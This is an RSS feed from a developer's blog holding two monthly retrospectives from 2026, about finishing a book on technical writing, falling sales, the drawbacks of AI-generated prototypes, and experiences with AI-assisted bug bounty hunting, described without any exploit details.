<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" x-extra="yes"><channel><title>mtlynch.io</title><link>https://mtlynch.io/</link><description>Recent content on mtlynch.io</description><generator>Hugo</generator><language>en</language><lastBuildDate>Wed, 10 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://mtlynch.io/index.xml" rel="self" type="application/rss+xml"/><item><title>Refactoring English: Month 18</title><link>https://mtlynch.io/retrospectives/2026/06/</link><pubDate>Wed, 10 Jun 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2026/06/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;ve completed all 22 chapters of my book.&lt;/li>
&lt;li>I thought AI made prototyping faster, but now I&amp;rsquo;m not so sure.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;ve completed all 22 chapters of my book.&lt;/li>
&lt;li>I thought AI made prototyping faster, but now I&amp;rsquo;m not so sure.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="get-refactoring-english-to-content-complete">Get &lt;em>Refactoring English&lt;/em> to &amp;ldquo;content complete&amp;rdquo;&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;ve completed all chapters.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>This has felt like it was a week away for six weeks, so I&amp;rsquo;m glad to finally have all the chapters done.&lt;/p>
&lt;h3 id="create-a-tool-that-allows-refactoring-english-readers-to-give-feedback-as-they-read-the-book">Create a tool that allows &lt;em>Refactoring English&lt;/em> readers to give feedback as they read the book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: The tool is only about 40% complete.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>This seemed like it should basically be a 2-3-day project, but I realized it&amp;rsquo;s more difficult than it seemed, especially due to &lt;a href="#ai-projects-and-the-great-blockade">the great blockade&lt;/a>.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;,&amp;#34;Nov 2025&amp;#34;,&amp;#34;Dec 2025&amp;#34;,&amp;#34;Jan 2026&amp;#34;,&amp;#34;Feb 2026&amp;#34;,&amp;#34;Mar 2026&amp;#34;,&amp;#34;Apr 2026&amp;#34;,&amp;#34;May 2026&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398,7608,2266,38511,7788,6932,2578,1752]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619,1066.73,540.8,1132.75,886.2,725.8,587.73,407.61]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>April 2026&lt;/th>
 &lt;th>May 2026&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>2,578&lt;/td>
 &lt;td>1,752&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-826 (-32%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$587.73&lt;/td>
 &lt;td>$407.61&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$180.12 (-31%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$587.73&lt;/td>
 &lt;td>$407.61&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$180.12 (-31%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>Eep, I continue to neglect marketing, and the numbers are suffering for it.&lt;/p>
&lt;p>I was desperate to get the last few chapters of the book done, so I focused only on that rather than investing in any marketing.&lt;/p>
&lt;h2 id="bug-bounty-metrics">Bug bounty metrics&lt;/h2>
&lt;p>I&amp;rsquo;ve continued pursuing security bug bounties, but I&amp;rsquo;ve reduced my time on them. I&amp;rsquo;m not quite doing the 70/30 split I planned, but maybe like 60/40.&lt;/p>
&lt;p>The main vendor I&amp;rsquo;ve been working with paid me another $7k (bringing me to $17k total) for reports, but they&amp;rsquo;ve slowed down on processing reports, so I&amp;rsquo;ve mostly stopped searching for new bugs in their code.&lt;/p>
&lt;p>I submitted bugs to a few other programs to check if any are processing bug reports quickly, but none of them are:&lt;/p>
&lt;ul>
&lt;li>KeePassXC - I submitted an RCE to Zero Day Initiative on May 18th, but I haven&amp;rsquo;t heard any response.
&lt;ul>
&lt;li>For KeePassXC users, this isn&amp;rsquo;t a zero-click attack or something that could compromise your database by just visiting a malicious website, so don&amp;rsquo;t get too worried.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Cloudflare - I submitted a DoS / logic bypass via HackerOne on May 22nd. No response.&lt;/li>
&lt;li>Proton - I submitted one low-severity issue. They asked for a video proof of concept, so I made one on May 29th, and they said to wait to hear back.&lt;/li>
&lt;/ul>
&lt;h2 id="when-is-the-book-done">When is the book &amp;ldquo;done?&amp;rdquo;&lt;/h2>
&lt;p>I&amp;rsquo;ve completed all the chapters of the book, which is a relief, but I don&amp;rsquo;t consider it officially &amp;ldquo;done.&amp;rdquo;&lt;/p>
&lt;p>I wrote the book over the past year and a half, usually focusing on a single chapter at a time. I haven&amp;rsquo;t ever read my own book cover-to-cover to make sure it&amp;rsquo;s all consistent. I want to do at least a few complete readthroughs before I call it done.&lt;/p>
&lt;h2 id="why-wasnt-i-continuously-revising-the-book">Why wasn&amp;rsquo;t I continuously revising the book?&lt;/h2>
&lt;p>I originally planned to continuously edit the book based on reader feedback. That way, when I got to the last chapter, the book would be pretty much done because the rest of the book would have had so many revisions based on comments from readers.&lt;/p>
&lt;p>In reality, I integrated reader feedback far less than I expected.&lt;/p>
&lt;p>I found it hard to split my focus between revising past chapters and writing new ones. If I spent a week revising old chapters, it didn&amp;rsquo;t feel like forward progress. When I added a new chapter, it meant that my public progress meter got a little fuller, which was motivating.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 350px">



 &lt;a href="https://mtlynch.io/retrospectives/2026/06/progress-meter.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2026/06/progress-meter_hu_4051f836edb12fe8.webp 300w, https://mtlynch.io/retrospectives/2026/06/progress-meter.webp 566w'
 src="https://mtlynch.io/retrospectives/2026/06/progress-meter.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Progress meter from book website&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>The other reason I didn&amp;rsquo;t continuously revise is that I didn&amp;rsquo;t reach out to readers as much as I planned. Part of that is that I constantly felt behind on the book, so there was always a sense of, &amp;ldquo;I want to get this chapter out, and &lt;em>then&lt;/em> I&amp;rsquo;ll invest more into reader outreach.&amp;rdquo;&lt;/p>
&lt;p>But even when I reached out to readers, it rarely impacted the book. The most common responses from readers were, &amp;ldquo;I like the book&amp;rdquo; or, &amp;ldquo;I haven&amp;rsquo;t started it yet.&amp;rdquo;&lt;/p>
&lt;p>When I did get detailed feedback, I wasn&amp;rsquo;t always sure how to integrate it. In some cases, I agreed with the feedback, so it was an easy decision. Usually, though, the reader would suggest adding something that I didn&amp;rsquo;t think was necessary. And that&amp;rsquo;s not to say the reader was wrong, but I&amp;rsquo;d want to see a pattern in reader feedback before I go against my intuition, and I wasn&amp;rsquo;t getting enough feedback to see a pattern.&lt;/p>
&lt;h3 id="my-reader-feedback-tool">My reader feedback tool&lt;/h3>
&lt;p>Now that I&amp;rsquo;ve completed all the chapters, I feel like I have more space to reach out to readers.&lt;/p>
&lt;p>I like the idea of &lt;a href="https://helpthisbook.com/">&lt;em>Help this Book&lt;/em>&lt;/a>, a web app that allows readers to give feedback directly in your ebook, but I didn&amp;rsquo;t want to store all of my feedback with a third party and pay monthly rent.&lt;/p>
&lt;p>I saw that Julia Evans &lt;a href="https://jvns.ca/blog/2023/03/31/zine-feedback-site/">made her own reader feedback tool&lt;/a>, customized to her products, and I thought that was neat, so I&amp;rsquo;m working on that.&lt;/p>




&lt;figure class="video" style="max-width: 700px">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="feedback-app.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>I&amp;rsquo;m working on a web app to make it easier for readers to give me feedback about my book.&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h2 id="ai-projects-and-the-great-blockade">AI projects and the great blockade&lt;/h2>
&lt;p>Overall, I&amp;rsquo;ve found that AI makes me more productive when programming. There are certain tasks like resolving git merge conflicts, debugging unfamiliar code, or making simple tools where AI is a clear win.&lt;/p>
&lt;p>I used to think AI was great at helping me start projects, but now I&amp;rsquo;m not so sure. I keep hitting what I call &amp;ldquo;the great blockade.&amp;rdquo;&lt;/p>
&lt;h3 id="just-have-ai-make-the-prototype">Just have AI make the prototype&lt;/h3>
&lt;p>Six months ago, I&amp;rsquo;d give the AI agent a high-level overview of what I wanted and tell it to implement a basic v1 implementation. I knew the agent&amp;rsquo;s output would be messy, but it was just a prototype, so I could keep giving it feedback until it matched my programming sensibilities.&lt;/p>
&lt;p>It turns out that it&amp;rsquo;s harder than I expected to clean up a bad prototype. Once the prototype is bad enough, I have a hard time untangling what the code is even trying to do.&lt;/p>
&lt;p>AI seems to have a weird bias to justify whatever code is already present. If I tell the AI that a component seems confusing because it&amp;rsquo;s iterating over the same data three times, it just keeps insisting we have to iterate over the data three times because of X, Y, and Z. But it never questions whether X, Y, and Z are artificial constraints.&lt;/p>
&lt;p>This is the blockade. I get stuck trying to move beyond a giant wall of confusing code that AI constructed.&lt;/p>
&lt;p>If I don&amp;rsquo;t fix the core logic, the problem keeps getting worse. The code smells grow like fungus and spread throughout the codebase. I&amp;rsquo;m building on top of a weak foundation, and the AI just keeps duplicating bad patterns that already exist.&lt;/p>
&lt;h3 id="break-down-the-prototype">Break down the prototype&lt;/h3>
&lt;p>Okay, easy fix: have the AI agent create the prototype in smaller pieces. Keep the AI on a tighter leash so it can&amp;rsquo;t go so far into the weeds. Instead of having the AI create the whole prototype, have it start with a welcome page. Once that&amp;rsquo;s reviewed and merged, add one simple feature, and so on.&lt;/p>
&lt;p>That works fine until I get to a complex chunk, like authentication. AI creates a pull request that&amp;rsquo;s 2-5k LOC of confusing code, and that becomes a huge wall. I can&amp;rsquo;t think of a way to break down the feature any further, so I&amp;rsquo;m stuck with this massive PR, another great blockade.&lt;/p>
&lt;p>Not only does a 4k LOC change take 20x as long to review as a 400 LOC change, but it also requires larger review windows. If I have a 20-minute block available, I can tackle the 400 LOC change, but if I have a 4k LOC change, I need 20 minutes just to build up context. To make meaningful progress on a 4k LOC change without wasting most of it on context friction, I need a 90-minute window, which is hard to come by especially for weekend projects.&lt;/p>
&lt;h3 id="example-implementing-authentication-for-little-moments">Example: Implementing authentication for Little Moments&lt;/h3>
&lt;p>Here&amp;rsquo;s an example. For &lt;a href="https://codeberg.org/mtlynch/little-moments">Little Moments&lt;/a>, I&amp;rsquo;m doing authentication &lt;a href="https://codeberg.org/mtlynch/little-moments/src/commit/c388029a761628fa48467b25a83d213220394213/docs/design/DESIGN.md#authentication">with magic login emails&lt;/a>. And for several weeks, I couldn&amp;rsquo;t think of a way to break that feature down without introducing dead code or broken features. I can&amp;rsquo;t implement half a login flow.&lt;/p>
&lt;p>After several weeks of chipping away at a giant PR little by little, I realized I actually &lt;em>could&lt;/em> implement half a login. &lt;a href="https://github.com/mtlynch/picoshare">PicoShare&lt;/a>, another app I maintain, has a simple authentication flow. The app assumes a single authorized user, so authentication is just a passphrase, not even a username/password pair. Instead of a huge switch from no authentication to email-based authentication, I could go from no authentication to passphrase authentication.&lt;/p>
&lt;p>So, I &lt;a href="https://codeberg.org/mtlynch/little-moments/pulls/131">got passphrase authentication working&lt;/a>, but moving from passphrase to magic email logins was still a pretty massive PR that would take me weeks to review. After hacking on it over several days, I realized I could break it down further.&lt;/p>
&lt;p>Instead of actually sending emails with a login link, I could just immediately redirect the user to the link I &lt;em>would have&lt;/em> sent them. That was still &lt;a href="https://codeberg.org/mtlynch/little-moments/pulls/167">a 1.7k LOC PR&lt;/a>, but it was more manageable than sending actual emails. And it reduced the &lt;a href="https://codeberg.org/mtlynch/little-moments/pulls/103">actually sending emails part&lt;/a> to a mere 1k LOC.&lt;/p>
&lt;h3 id="how-ai-makes-this-harder">How AI makes this harder&lt;/h3>
&lt;p>The thing that makes me wonder if AI is a net positive on this type of work is that I know I would have spotted these opportunities to break down the problem had I not been using AI. I would never create a 4k LOC PR and then say, &amp;ldquo;Hmm, this is pretty big.&amp;rdquo; As the PR grows larger, it becomes more painful to work with, so I naturally see opportunities to break the change into smaller pieces.&lt;/p>
&lt;p>AI disrupts that natural feedback loop. With AI, there&amp;rsquo;s no pain in creating a 4k LOC PR because it happens in two minutes while I check my email. And I can easily give notes to improve the 4k LOC PR and feel like I&amp;rsquo;m making progress, but the big change makes it hard for me to identify what pieces can lift out into their own smaller changes.&lt;/p>
&lt;p>Now that I recognize how easy it is to generate huge, unmanageable PRs for complex changes, I can change the way I use AI to invest more upfront into breaking features down into tinier changes.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published the last chapters of my book.&lt;/li>
&lt;li>Created a partial prototype of a book feedback app.&lt;/li>
&lt;li>Partially implemented authentication for Little Moments.&lt;/li>
&lt;li>Cut two new releases of PicoShare.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Using AI eliminates the natural feedback cycle that motivates me to build software in smaller chunks.
&lt;ul>
&lt;li>I think the solution is to work harder earlier in the lifecycle of complex features to break things down into smaller chunks and be more strict in checking the AI&amp;rsquo;s output.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Invest at least five hours into improving the &lt;em>Refactoring English&lt;/em> website.&lt;/li>
&lt;li>Attract 30k unique readers to the &lt;em>Refactoring English&lt;/em> website.&lt;/li>
&lt;li>Complete my reader feedback tool.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Refactoring English: Month 17</title><link>https://mtlynch.io/retrospectives/2026/05/</link><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2026/05/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m torn between focusing on my book and pursuing security bug bounties.&lt;/li>
&lt;li>I&amp;rsquo;m considering a course to teach what I&amp;rsquo;ve learned about using AI to find security vulnerabilities.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and founder of small, indie tech businesses. I&amp;rsquo;m currently working on a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English: Effective Writing for Software Developers&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m torn between focusing on my book and pursuing security bug bounties.&lt;/li>
&lt;li>I&amp;rsquo;m considering a course to teach what I&amp;rsquo;ve learned about using AI to find security vulnerabilities.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finish-writing-refactoring-english">Finish writing &lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I&amp;rsquo;ve still got about 1-2 weeks of writing left&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C&lt;/li>
&lt;/ul>
&lt;p>I keep feeling like I&amp;rsquo;m close to done, but then I spend more time than I intend to on bug bounties.&lt;/p>
&lt;h2 id="refactoring-english-metrics">&lt;em>Refactoring English&lt;/em> metrics&lt;/h2>
&lt;div class="project-metrics-chart">
 &lt;canvas
 id="refactoring_english-metrics-chart"
 data-labels="[&amp;#34;Jan 2025&amp;#34;,&amp;#34;Feb 2025&amp;#34;,&amp;#34;Mar 2025&amp;#34;,&amp;#34;Apr 2025&amp;#34;,&amp;#34;May 2025&amp;#34;,&amp;#34;Jun 2025&amp;#34;,&amp;#34;Jul 2025&amp;#34;,&amp;#34;Aug 2025&amp;#34;,&amp;#34;Sep 2025&amp;#34;,&amp;#34;Oct 2025&amp;#34;,&amp;#34;Nov 2025&amp;#34;,&amp;#34;Dec 2025&amp;#34;,&amp;#34;Jan 2026&amp;#34;,&amp;#34;Feb 2026&amp;#34;,&amp;#34;Mar 2026&amp;#34;,&amp;#34;Apr 2026&amp;#34;]"
 data-visitors="[21824,1593,60327,14269,2986,6574,8061,2863,7283,22398,7608,2266,38511,7788,6932,2578]"
 data-revenue="[0,0,0,6469,241.45,887.94,848.29,360.88,962.56,619,1066.73,540.8,1132.75,886.2,725.8,587.73]"
 >&lt;/canvas>
&lt;/div>

&lt;script>
(function() {
 const ctx = document.getElementById('refactoring_english-metrics-chart');
 if (!ctx) return;

 const labels = JSON.parse(ctx.dataset.labels);
 const visitorsData = JSON.parse(ctx.dataset.visitors);
 const revenueData = JSON.parse(ctx.dataset.revenue);

 const dollarFormat = new Intl.NumberFormat("en-US", {
 style: "currency",
 currency: "USD",
 minimumFractionDigits: 0,
 maximumFractionDigits: 0,
 });

 const visitorFormat = new Intl.NumberFormat("en-US");

 new Chart(ctx, {
 type: 'line',
 data: {
 labels: labels,
 datasets: [{
 label: 'Unique Visitors',
 data: visitorsData,
 borderColor: '#3b82f6',
 backgroundColor: 'rgba(59, 130, 246, 0.1)',
 yAxisID: 'y-axis-1',
 fill: false,
 lineTension: 0
 }, {
 label: 'Total Revenue',
 data: revenueData,
 borderColor: '#10b981',
 backgroundColor: 'rgba(16, 185, 129, 0.1)',
 yAxisID: 'y-axis-2',
 fill: false,
 lineTension: 0
 }]
 },
 options: {
 responsive: true,
 maintainAspectRatio: false,
 title: {
 display: true,
 text: 'Project Metrics Over Time'
 },
 tooltips: {
 mode: 'index',
 intersect: false,
 callbacks: {
 label: function(tooltipItem, data) {
 const label = data.datasets[tooltipItem.datasetIndex].label || '';
 if (label === 'Unique Visitors') {
 return label + ': ' + visitorFormat.format(tooltipItem.yLabel);
 } else {
 return label + ': ' + dollarFormat.format(tooltipItem.yLabel);
 }
 }
 }
 },
 scales: {
 xAxes: [{
 display: true,
 scaleLabel: {
 display: true,
 labelString: 'Month'
 }
 }],
 yAxes: [{
 id: 'y-axis-1',
 type: 'linear',
 display: true,
 position: 'left',
 scaleLabel: {
 display: true,
 labelString: 'Unique Visitors'
 },
 ticks: {
 callback: function(value) {
 return visitorFormat.format(value);
 }
 }
 }, {
 id: 'y-axis-2',
 type: 'linear',
 display: true,
 position: 'right',
 scaleLabel: {
 display: true,
 labelString: 'Total Revenue'
 },
 gridLines: {
 drawOnChartArea: false,
 },
 ticks: {
 callback: function(value) {
 return dollarFormat.format(value);
 }
 }
 }]
 }
 }
 });
})();
&lt;/script>
&lt;style>
 .project-metrics-chart {
 position: relative;
 margin-bottom: 2rem;
 height: 400px;
 }

 .project-metrics-change-positive {
 color: green;
 }

 .project-metrics-change-negative {
 color: red;
 }
&lt;/style>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>March 2026&lt;/th>
 &lt;th>April 2026&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique visitors&lt;/td>
 &lt;td>6,932&lt;/td>
 &lt;td>2,578&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-4,354 (-63%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue from pre-orders&lt;/td>
 &lt;td>$725.80&lt;/td>
 &lt;td>$587.73&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$138.07 (-19%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;tr style="font-weight: bold;">
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$725.80&lt;/td>
 &lt;td>$587.73&lt;/td>
 &lt;td>&lt;span class="project-metrics-change-negative"
 >-$138.07 (-19%)&lt;/span
 >&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>

&lt;p>Revenue dropped for the book, as I haven&amp;rsquo;t done any marketing &lt;a href="https://refactoringenglish.com/blog/ai-vs-human-design-doc/">since March&lt;/a>. Instead, I&amp;rsquo;ve been getting distracted by &lt;a href="#three-months-of-bug-bounty-programs">bug bounty hunting&lt;/a>. I&amp;rsquo;m glad I&amp;rsquo;ve been able to skate by on past effort, but I see the numbers trending toward zero if I neglect marketing.&lt;/p>
&lt;h2 id="three-months-of-bug-bounty-programs">Three months of bug bounty programs&lt;/h2>
&lt;p>For the past three months, I&amp;rsquo;ve been spending a lot of time using AI to find security vulnerabilities. I haven&amp;rsquo;t talked about it publicly because I didn&amp;rsquo;t want to attract competition to the limited supply of bug bounty programs. I wasn&amp;rsquo;t sure if other people realized just how effective AI is at security research, but I think &lt;a href="https://red.anthropic.com/2026/mythos-preview/">the cat is out of the bag&lt;/a>.&lt;/p>
&lt;p>If you haven&amp;rsquo;t been following along with AI and security research, Firefox is an astonishing case study. Throughout 2025 (before AI was any good at security research) Mozilla and external researchers collectively found 10-20 security vulnerabilities in Firefox each month.&lt;/p>
&lt;p>In February 2026, Anthropic used Claude Opus to &lt;a href="https://www.anthropic.com/news/mozilla-firefox-security">find 22 Firefox vulnerabilities&lt;/a>. In other words, that month, Anthropic alone found more than everyone else combined in any of the previous 13 months. Two months later, Anthropic used Claude Mythos to find a whopping &lt;a href="https://blog.mozilla.org/en/privacy-security/ai-security-zero-day-vulnerabilities/">271 more vulnerabilities&lt;/a> in Firefox.&lt;/p>
&lt;p>I &lt;em>sort of&lt;/em> spotted this early, but I got it slightly wrong. Back in January, I thought that AI might be able to revolutionize cybersecurity research, but I thought the value was in creating security tools. I was using AI to write fuzz testing tools and was amazed at how much faster I could perform fuzz testing than when I &lt;a href="https://mtlynch.io/nix-fuzz-testing-1/">did it by hand&lt;/a>.&lt;/p>
&lt;p>Despite the fact that I could write fuzzers 10-20x faster, it turned out that my strategy was way more work than was necessary. Instead of asking AI to create a fuzz testing tool and evaluate its output, you can just ask AI, &lt;a href="https://mtlynch.io/claude-code-found-linux-vulnerability/#how-claude-code-found-the-bug">&amp;ldquo;Hey, look at the source code and tell me all the vulnerabilities.&amp;rdquo;&lt;/a>&lt;/p>
&lt;p>After I saw how good AI was at directly auditing source code, I stopped fuzzing and focused on source auditing. I&amp;rsquo;ve now reported 50+ bugs to five different bug bounty programs and earned about $10k in bug bounties.&lt;/p>
&lt;h2 id="the-bugs-have-gotten-easier-to-find-but-the-bounty-programs-have-gotten-harder">The bugs have gotten easier to find, but the bounty programs have gotten harder&lt;/h2>
&lt;p>While I&amp;rsquo;ve successfully used AI to find security vulnerabilities, I&amp;rsquo;ve been less successful at finding companies willing to pay me for my findings.&lt;/p>
&lt;p>Here are my results so far:&lt;/p>
&lt;ul>
&lt;li>Vendor 1: Meta
&lt;ul>
&lt;li>I submitted eight reports, including one remote code execution bug.&lt;/li>
&lt;li>I received no response for several weeks.&lt;/li>
&lt;li>I found email addresses for developers that worked on the product and pinged them, and they escalated my reports to get them past triage, but there&amp;rsquo;s been no movement since then (two weeks and counting).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vendor 2
&lt;ul>
&lt;li>I submitted one report.&lt;/li>
&lt;li>Vendor triaged it in one business day, but said it would be several weeks before they could investigate thoroughly.&lt;/li>
&lt;li>I haven&amp;rsquo;t heard anything in over 30 days.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vendor 3:
&lt;ul>
&lt;li>I submitted one report.&lt;/li>
&lt;li>Vendor claimed it was a duplicate, so no bounty.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Vendor 4
&lt;ul>
